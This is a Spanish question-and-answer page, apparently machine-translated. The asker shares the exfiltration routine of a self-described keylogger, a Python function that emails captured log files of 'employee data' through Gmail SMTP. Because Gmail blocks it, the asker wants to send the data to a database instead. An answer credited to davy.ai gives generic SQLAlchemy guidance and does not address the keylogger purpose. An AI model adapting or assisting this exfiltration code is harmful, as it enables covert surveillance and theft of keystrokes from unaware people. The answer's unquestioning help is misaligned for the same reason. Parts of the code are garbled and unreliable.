Cómo enviar datos desde un archivo de python a una base de datos.
Por favor, quiero enviar datos desde estos archivos de Python a mi base de datos. ¿Cómo puedo hacerlo?
La siguiente ruta de archivo guarda los datos de este keylogger, que se envía por correo electrónico utilizando la biblioteca SMTP.
Ruta_de_archivo = "**" # ruta de archivo donde se guardan los archivos
extender = "\"
unir_archivo = ruta_de_archivo + extender
que se envía por correo electrónico utilizando la biblioteca SMTP.
”’
def sendemail(systeminformation, filename, attachment, toaddr):
fromaddr = email_address
msg = MIMEMultipart()
msg[‘From’] = fromaddr
msg[‘To’] = toaddr
msg[‘Subject’] = “Archivo de registro”
body = “Datos del empleado”
msg.attach(MIMEText(body, ‘plain’))
filename = filename
attachment = open(attachment, ‘rb’)
p = MIMEBase(‘application’, ‘octet-stream’)
p.set_payload(attachment.read())
encoders.encode_base64(p)
p.add_header(‘Content-Disposition’, “attachment; filename= %s” % filename)
msg.attach(p)
s = smtplib.SMTP(‘smtp.gmail.com’, 587)
s.starttls()
s.login(fromaddr, password)
text = msg.as_string()
s.sendmail(fromaddr, toaddr, text)
s.quit()
”’
pero Google está bloqueando los correos electrónicos diciendo que su “contenido presenta un posible problema de seguridad\n5.7.0”, por lo tanto, ahora quiero crear una base de datos con una tabla a la que pueda enviar los datos en lugar del correo electrónico.
davy.ai
Para enviar datos de sus archivos de Python a su base de datos, necesitará usar una biblioteca de base de datos como SQLAlchemy. Esta biblioteca provee una interfaz para conectarse y manipular datos en una variedad de bases de datos, incluyendo MySQL, PostgreSQL y SQLite. Una vez que haya instalado la biblioteca, puede usarla para crear una conexión con su base de datos y luego usar los métodos de la biblioteca para insertar, actualizar y eliminar datos. También puede usar la biblioteca para consultar la base de datos y obtener datos.